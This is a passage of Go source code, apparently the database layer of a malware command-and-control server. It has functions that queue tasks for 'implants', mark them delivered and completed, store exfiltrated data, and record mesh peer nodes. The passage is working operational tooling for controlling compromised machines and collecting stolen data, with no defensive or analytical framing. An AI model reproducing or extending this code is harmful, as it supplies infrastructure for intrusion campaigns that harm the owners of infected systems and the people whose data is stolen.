err := s.db.QueryRow(`SELECT COUNT(*) FROM implants`).Scan(&n)
return n, err
}
// CreateTask inserts a new task.
func (s *Store) CreateTask(implantID, taskType, channel string, payload map[string]any) (*protocol.Task, error) {
s.mu.Lock()
defer s.mu.Unlock()
task := &protocol.Task{
ID: fmt.Sprintf("T%d", time.Now().UnixNano()),
Type: taskType,
Payload: payload,
Timestamp: time.Now().Unix(),
TTL: 3600,
}
payloadJSON, _ := json.Marshal(payload)
_, err := s.db.Exec(`INSERT INTO tasks (id, implant_id, task_type, payload, created_at, status, channel) VALUES (?, ?, ?, ?, ?, 'pending', ?)`,
task.ID, implantID, taskType, string(payloadJSON), time.Now().UTC(), channel)
if err != nil {
return nil, err
}
s.db.Exec(`UPDATE implants SET tasks_sent = tasks_sent + 1 WHERE id = ?`, implantID)
return task, nil
}
// PendingTasks returns all pending tasks for an implant, marking them "delivered".
func (s *Store) PendingTasks(implantID string) ([]protocol.Task, error) {
s.mu.Lock()
defer s.mu.Unlock()
rows, err := s.db.Query(`SELECT id, task_type, payload, created_at, channel FROM tasks WHERE implant_id = ? AND status = 'pending'`, implantID)
if err != nil {
return nil, err
}
defer rows.Close()
var tasks []protocol.Task
for rows.Next() {
var t protocol.Task
var payloadStr, channel string
var createdAt time.Time
if err := rows.Scan(&t.ID, &t.Type, &payloadStr, &createdAt, &channel); err != nil {
return nil, err
}
json.Unmarshal([]byte(payloadStr), &t.Payload)
t.Timestamp = createdAt.Unix()
tasks = append(tasks, t)
}
if err := rows.Err(); err != nil {
return nil, err
}
// Mark as delivered
for _, t := range tasks {
s.db.Exec(`UPDATE tasks SET status = 'delivered' WHERE id = ?`, t.ID)
}
return tasks, nil
}
// CompleteTask marks a task as completed with the result.
func (s *Store) CompleteTask(taskID string, result *protocol.TaskResult) error {
s.mu.Lock()
defer s.mu.Unlock()
resultJSON, _ := json.Marshal(result)
_, err := s.db.Exec(`UPDATE tasks SET status = 'completed', result = ?, executed_at = ? WHERE id = ?`,
string(resultJSON), time.Now().UTC(), taskID)
if err != nil {
return err
}
s.db.Exec(`UPDATE implants SET tasks_done = tasks_done + 1 WHERE id = (SELECT implant_id FROM tasks WHERE id = ?)`, taskID)
return nil
}
// ExfilData stores exfiltrated data.
func (s *Store) ExfilData(implantID, dataType, channel string, data []byte) error {
s.mu.Lock()
defer s.mu.Unlock()
_, err := s.db.Exec(`INSERT INTO exfil_data (implant_id, data_type, data, channel, received_at) VALUES (?, ?, ?, ?, ?)`,
implantID, dataType, data, channel, time.Now().UTC())
return err
}
// UpsertMeshNode creates or updates a mesh peer.
func (s *Store) UpsertMeshNode(node *protocol.MeshNode) error {
s.mu.Lock()
defer s.mu.Unlock()
_, err := s.db.Exec(`
INSERT INTO mesh_nodes (id, addr, pubkey, last_seen, implant_count, version)
VALUES (?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
addr = excluded.addr,
last_seen = excluded.last_seen,
implant_count = excluded.implant_count,
version = excluded.version
`, node.ID, node.Addr, node.PublicKey, time.Now().UTC(), node.Implants, node.Version)
return err
}
// ListMeshNodes returns all known mesh peers.
func (s *Store) ListMeshNodes() ([]protocol.MeshNode, error) {
s.mu.RLock()
defer s.mu.RUnlock()
rows, err := s.db.Query(`SELECT id, addr, last_seen, implant_count, version FROM mesh_nodes ORDER BY last_seen DESC`)
if err != nil {
return nil, err
}
defer rows.Close()
var out []protocol.MeshNode
for rows.Next() {
var n protocol.MeshNode
if err := rows.Scan(&n.ID, &n.Addr, &n.LastSeen, &n.Implants, &n.Version); err != nil {
return nil, err
}
out = append(out, n)
}
return out, rows.Err()
}
func boolToInt(b bool) int {
if b {
return 1
}
return 0
}